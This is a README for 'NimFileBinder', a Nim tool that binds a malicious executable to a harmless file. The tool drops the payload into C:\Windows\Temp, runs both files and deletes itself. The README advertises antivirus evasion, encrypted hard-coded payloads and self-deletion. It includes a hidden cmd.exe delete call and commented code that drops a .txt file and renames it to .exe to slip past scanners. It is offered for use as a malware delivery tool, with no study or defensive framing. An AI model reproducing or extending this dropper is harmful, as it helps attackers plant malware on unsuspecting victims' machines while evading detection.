Awesome

NimFileBinder

​ A Builder for Binding Evil File and Normal File with auto release

​ written by Nim(Just a routh tool of learning Nim)

Start

you should install the mingw , ex in Mac:

brew install mingw

It will release your malicious files to C:\Windows\Temp, and then self-delete and run normal files and malicious files

Feature

• Reduce the risk of being detected by anti-virus
• “hardcode” the file into code with encrypt
• self delete

Others

1. There are still many imperfections in the code, which need to be modified when used:

​ Change the name of the output executable program, of course, you need to change the name of the automatic deletion:

ShellExecute(0, "open", "cmd.exe", "/c del *CustomFileName*", NULL, SW_HIDE)

​ Of course you can also leave out this parameters,

​ I am a lazy guy... sorry my bad :)

2. In lines 116-117, the code I have commented, you can enable it and modify the corresponding name, which may be useful for evasion anti-virus

#copyFile("C:\\Windows\\Temp\\calc.txt", "C:\\Windows\\Temp\\calc.exe")
#removeFile("C:\\Windows\\Temp\\calc.txt")

​ Release a txt file first, then copy to PE